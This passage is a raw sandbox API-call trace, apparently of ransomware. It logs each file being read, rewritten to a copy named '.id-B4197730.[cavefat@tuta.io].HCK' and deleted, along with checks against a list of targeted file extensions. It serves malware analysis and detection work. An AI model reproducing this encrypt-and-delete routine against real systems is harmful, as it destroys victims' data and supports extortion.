hTemplateFile=0x0) returned 0x2f0 [0148.139] GetLastError () returned 0x0 [0148.139] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0148.142] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x15110, lpOverlapped=0x0) returned 1 [0148.493] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.493] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.493] SetEndOfFile (hFile=0x2f0) returned 1 [0148.493] CloseHandle (hObject=0x2f0) returned 1 [0148.495] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.495] SetEndOfFile (hFile=0x2e8) returned 1 [0148.496] CloseHandle (hObject=0x2e8) returned 1 [0148.496] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.497] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".doc") returned 4 [0148.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString=".docx") returned 5 [0148.497] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.497] lstrlenW (lpString=".pdf") returned 4 [0148.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString=".xls") returned 4 [0148.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString=".xlsx") returned 5 [0148.497] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.497] lstrlenW (lpString=".ppt") returned 4 [0148.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".zip") returned 4 [0148.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.497] lstrlenW (lpString=".rar") returned 4 [0148.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString=".bz2") returned 4 [0148.497] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString=".7z") returned 3 [0148.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".dbf") returned 4 [0148.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".1cd") returned 4 [0148.497] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".jpg") returned 4 [0148.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.497] lstrlenW (lpString=".doc") returned 4 [0148.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString=".docx") returned 5 [0148.498] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.498] lstrlenW (lpString=".pdf") returned 4 [0148.498] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString=".xls") returned 4 [0148.498] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString=".xlsx") returned 5 [0148.498] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.498] lstrlenW (lpString=".ppt") returned 4 [0148.498] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.498] lstrlenW (lpString=".zip") returned 4 [0148.498] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.498] lstrlenW (lpString=".rar") returned 4 [0148.498] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString=".bz2") returned 4 [0148.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString=".7z") returned 3 [0148.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.498] lstrlenW (lpString=".dbf") returned 4 [0148.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.498] lstrlenW (lpString=".1cd") returned 4 [0148.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0148.498] lstrlenW (lpString=".jpg") returned 4 [0148.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.498] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.498] lstrlenW (lpString="eula.rtf") returned 8 [0148.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.498] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4254) returned 1 [0148.498] CloseHandle (hObject=0x2e8) returned 1 [0148.499] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0148.499] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.499] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.499] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.500] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.500] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.500] GetLastError () returned 0x0 [0148.500] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x109e, lpOverlapped=0x0) returned 1 [0148.501] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0148.502] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.502] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.502] SetEndOfFile (hFile=0x2f0) returned 1 [0148.502] CloseHandle (hObject=0x2f0) returned 1 [0148.503] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.503] SetEndOfFile (hFile=0x2e8) returned 1 [0148.504] CloseHandle (hObject=0x2e8) returned 1 [0148.504] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.504] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0148.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.504] lstrlenW (lpString=".doc") returned 4 [0148.504] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.504] lstrlenW (lpString=".docx") returned 5 [0148.504] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.504] lstrlenW (lpString=".pdf") returned 4 [0148.504] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.504] lstrlenW (lpString=".xls") returned 4 [0148.504] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.504] lstrlenW (lpString=".xlsx") returned 5 [0148.504] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.504] lstrlenW (lpString=".ppt") returned 4 [0148.505] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".zip") returned 4 [0148.505] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.505] lstrlenW (lpString=".rar") returned 4 [0148.505] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".bz2") returned 4 [0148.505] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".7z") returned 3 [0148.505] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".dbf") returned 4 [0148.505] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".1cd") returned 4 [0148.505] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".jpg") returned 4 [0148.505] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".doc") returned 4 [0148.505] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".docx") returned 5 [0148.505] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.505] lstrlenW (lpString=".pdf") returned 4 [0148.505] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".xls") returned 4 [0148.505] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.505] lstrlenW (lpString=".xlsx") returned 5 [0148.505] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.505] lstrlenW (lpString=".ppt") returned 4 [0148.505] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".zip") returned 4 [0148.505] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.505] lstrlenW (lpString=".rar") returned 4 [0148.505] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".bz2") returned 4 [0148.505] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString=".7z") returned 3 [0148.505] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".dbf") returned 4 [0148.505] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".1cd") returned 4 [0148.505] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0148.505] lstrlenW (lpString=".jpg") returned 4 [0148.505] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.506] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.506] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.506] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.506] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=86442) returned 1 [0148.506] CloseHandle (hObject=0x2e8) returned 1 [0148.506] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0148.506] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.506] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.506] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.506] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.506] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.507] GetLastError () returned 0x0 [0148.507] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0148.509] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0148.511] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.511] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.511] SetEndOfFile (hFile=0x2f0) returned 1 [0148.511] CloseHandle (hObject=0x2f0) returned 1 [0148.513] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.513] SetEndOfFile (hFile=0x2e8) returned 1 [0148.514] CloseHandle (hObject=0x2e8) returned 1 [0148.514] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.515] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".doc") returned 4 [0148.515] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".docx") returned 5 [0148.515] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.515] lstrlenW (lpString=".pdf") returned 4 [0148.515] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".xls") returned 4 [0148.515] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".xlsx") returned 5 [0148.515] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.515] lstrlenW (lpString=".ppt") returned 4 [0148.515] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".zip") returned 4 [0148.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.515] lstrlenW (lpString=".rar") returned 4 [0148.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".bz2") returned 4 [0148.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".7z") returned 3 [0148.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".dbf") returned 4 [0148.515] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".1cd") returned 4 [0148.515] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".jpg") returned 4 [0148.515] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.515] lstrlenW (lpString=".doc") returned 4 [0148.515] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.515] lstrlenW (lpString=".docx") returned 5 [0148.515] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.516] lstrlenW (lpString=".pdf") returned 4 [0148.516] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString=".xls") returned 4 [0148.516] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString=".xlsx") returned 5 [0148.516] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.516] lstrlenW (lpString=".ppt") returned 4 [0148.516] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.516] lstrlenW (lpString=".zip") returned 4 [0148.516] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.516] lstrlenW (lpString=".rar") returned 4 [0148.516] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString=".bz2") returned 4 [0148.516] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString=".7z") returned 3 [0148.516] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.516] lstrlenW (lpString=".dbf") returned 4 [0148.516] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.516] lstrlenW (lpString=".1cd") returned 4 [0148.516] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0148.516] lstrlenW (lpString=".jpg") returned 4 [0148.516] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.516] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.516] lstrlenW (lpString="eula.rtf") returned 8 [0148.516] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.517] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3643) returned 1 [0148.517] CloseHandle (hObject=0x2e8) returned 1 [0148.517] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0148.517] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.517] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.517] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.517] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.517] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.517] GetLastError () returned 0x0 [0148.517] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe3b, lpOverlapped=0x0) returned 1 [0148.519] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe40, lpOverlapped=0x0) returned 1 [0148.519] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.520] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.520] SetEndOfFile (hFile=0x2f0) returned 1 [0148.520] CloseHandle (hObject=0x2f0) returned 1 [0148.520] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.520] SetEndOfFile (hFile=0x2e8) returned 1 [0148.521] CloseHandle (hObject=0x2e8) returned 1 [0148.521] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.521] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".doc") returned 4 [0148.522] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".docx") returned 5 [0148.522] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.522] lstrlenW (lpString=".pdf") returned 4 [0148.522] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".xls") returned 4 [0148.522] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.522] lstrlenW (lpString=".xlsx") returned 5 [0148.522] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.522] lstrlenW (lpString=".ppt") returned 4 [0148.522] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 